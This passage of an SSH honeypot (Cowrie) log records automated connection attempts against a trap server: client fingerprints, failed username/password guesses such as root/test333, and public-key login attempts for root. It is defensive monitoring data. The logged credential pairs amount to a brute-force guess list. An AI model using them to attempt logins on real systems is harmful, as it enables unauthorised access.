-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:11:21.142546Z","src_ip":"103.228.69.212","session":"378b86faf1a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"zaq12wsxcde3","message":"login attempt [postgres/zaq12wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:11:22.075491Z","src_ip":"103.228.69.212","session":"378b86faf1a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:11:23.303893Z","src_ip":"103.228.69.212","session":"378b86faf1a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":44794,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f19956e9334","protocol":"ssh","message":"New connection: 211.254.212.59:44794 (10.17.0.5:22) [session: 0f19956e9334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:18.915453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:18.924708Z","src_ip":"211.254.212.59","session":"0f19956e9334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:19.124587Z","src_ip":"211.254.212.59","session":"0f19956e9334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.74.162","src_port":58598,"dst_ip":"10.17.0.5","dst_port":22,"session":"5de2df073a72","protocol":"ssh","message":"New connection: 36.26.74.162:58598 (10.17.0.5:22) [session: 5de2df073a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:19.333206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:19.338655Z","src_ip":"36.26.74.162","session":"5de2df073a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:19.570494Z","src_ip":"36.26.74.162","session":"5de2df073a72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"terrariaserver","message":"login attempt [terrariaserver/terrariaserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:19.960939Z","src_ip":"211.254.212.59","session":"0f19956e9334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test@123","message":"login attempt [admin/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:20.804687Z","src_ip":"36.26.74.162","session":"5de2df073a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:21.164914Z","src_ip":"211.254.212.59","session":"0f19956e9334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:22.041852Z","src_ip":"36.26.74.162","session":"5de2df073a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":48162,"dst_ip":"10.17.0.5","dst_port":22,"session":"35b1c3132551","protocol":"ssh","message":"New connection: 103.228.69.212:48162 (10.17.0.5:22) [session: 35b1c3132551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:30.697200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:30.702501Z","src_ip":"103.228.69.212","session":"35b1c3132551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:30.931746Z","src_ip":"103.228.69.212","session":"35b1c3132551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:31.878705Z","src_ip":"103.228.69.212","session":"35b1c3132551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:33.111593Z","src_ip":"103.228.69.212","session":"35b1c3132551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35388,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e4dd3f3d747","protocol":"ssh","message":"New connection: 80.94.92.186:35388 (10.17.0.5:22) [session: 1e4dd3f3d747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:40.463047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:40.654003Z","src_ip":"80.94.92.186","session":"1e4dd3f3d747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:40.660032Z","src_ip":"80.94.92.186","session":"1e4dd3f3d747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:41.956702Z","src_ip":"80.94.92.186","session":"1e4dd3f3d747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:12:43.154335Z","src_ip":"80.94.92.186","session":"1e4dd3f3d747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18244,"dst_ip":"10.17.0.5","dst_port":22,"session":"bba792828bbe","protocol":"ssh","message":"New connection: 194.59.206.2:18244 (10.17.0.5:22) [session: bba792828bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:21.768332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:21.774109Z","src_ip":"194.59.206.2","session":"bba792828bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:21.861439Z","src_ip":"194.59.206.2","session":"bba792828bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:21.953710Z","src_ip":"194.59.206.2","session":"bba792828bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":36820,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ed576815ffc","protocol":"ssh","message":"New connection: 103.228.69.212:36820 (10.17.0.5:22) [session: 9ed576815ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:28.029528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:28.034785Z","src_ip":"103.228.69.212","session":"9ed576815ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:28.267950Z","src_ip":"103.228.69.212","session":"9ed576815ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test333","message":"login attempt [root/test333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:29.224633Z","src_ip":"103.228.69.212","session":"9ed576815ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:30.461490Z","src_ip":"103.228.69.212","session":"9ed576815ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.65.107.14","src_port":49368,"dst_ip":"10.17.0.5","dst_port":22,"session":"34dad25f062b","protocol":"ssh","message":"New connection: 185.65.107.14:49368 (10.17.0.5:22) [session: 34dad25f062b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:49.350461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:49.359604Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:49.472194Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:6b:f5:bc:8e:78:65:21:bd:53:7d:4a:87:61:23:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKBidYplvVerrNz8IatZk03poFW0C5uQ+kxsgK5Z39CiyB3rCg0rXYVkNUNgEJap65ZQwA/gUmV+uedkskFw8f/TkWxddYOANw8+RjhikLvZXm3cL2TK58zoVTRpRuu5dlPEgPYxvR8jVqcInp8URCFlva8vIMNPiDgcbCzJxIKL96SWl+autqjyQp7C8FNdyTAKk9DVtcAO88zPIk9IjNQoGJoQ5ZtWkPb/5gL9n2a4QPAYUGbysKZfPoMIbrsqbkGShtrH1+dw8bFhK41u7rbx0Gw3fzFuwaZTeJSIVE1C+UhZBYdDBpFNlfo2gqahThV5y1dSlrIlrz0AjaKS8v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:6b:f5:bc:8e:78:65:21:bd:53:7d:4a:87:61:23:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.013539Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:6b:f5:bc:8e:78:65:21:bd:53:7d:4a:87:61:23:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKBidYplvVerrNz8IatZk03poFW0C5uQ+kxsgK5Z39CiyB3rCg0rXYVkNUNgEJap65ZQwA/gUmV+uedkskFw8f/TkWxddYOANw8+RjhikLvZXm3cL2TK58zoVTRpRuu5dlPEgPYxvR8jVqcInp8URCFlva8vIMNPiDgcbCzJxIKL96SWl+autqjyQp7C8FNdyTAKk9DVtcAO88zPIk9IjNQoGJoQ5ZtWkPb/5gL9n2a4QPAYUGbysKZfPoMIbrsqbkGShtrH1+dw8bFhK41u7rbx0Gw3fzFuwaZTeJSIVE1C+UhZBYdDBpFNlfo2gqahThV5y1dSlrIlrz0AjaKS8v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.018510Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:6a:49:e9:28:da:02:2b:55:ce:03:c2:da:ad:f3:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8nDV3QMo7WoDvMi6eeT7G7HI2O8BaXFC6y7r4ON7BLyirWnQYcpJKANdh9ntbDKNA0n1Z6AVARoKB2cv4pQ4+QcTkZdKgJweXn8aQ3JDdLXuXe880GSQtEGheSNfT86ChEDEk8Om2MEIaBPuy4TvRza2AVBLuGqxihE/TJI1+LN2j4RMJwB+VoHzhkzXuJxknQNEFzaGa0Td1UZCn8rrd0CEdivOrLxJqWvT0dQAxKH9jCTbKx4AOo+3oM1X0MdMFzzhH9ZeYgtHy6t4VUmmPnpQVwOo9a6j68zHH8Y450azYxbK5OkLw6mho2X3F66Ds6tS2H74bKf9JD7dpLqwAVQK9ia6wLQ/xb/BmCH+KAuRLRHV+CSvJs+GNJwPg8e7+4LRT4oRSkFY4v5wL1hrG30FSfbea5WgSdqa965r2g1mAI2yymizEAJgY2xsJl7Bs74tfWXt7Qa+hdbcLCdAZg6+7Acj5Koh/DPeeAvR8coZ1qzPHM45K3ER+jbNRQwDPrO9D8DWkZqra7w0iBHnqLqLfgHwqJDVTH8yJaRP9fB6a7vTWR3o7rLufJ3ya4FZvL4Q4+0w5K3FdWJ3xos34ijujh7sMUXXuX6nr2XqLai5ezvBuN79OgHNzxvLr6r6pTNbjBWjXCz7QbX6LrDT6OnLZ3Lwi7By9Ql2Po2/XCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 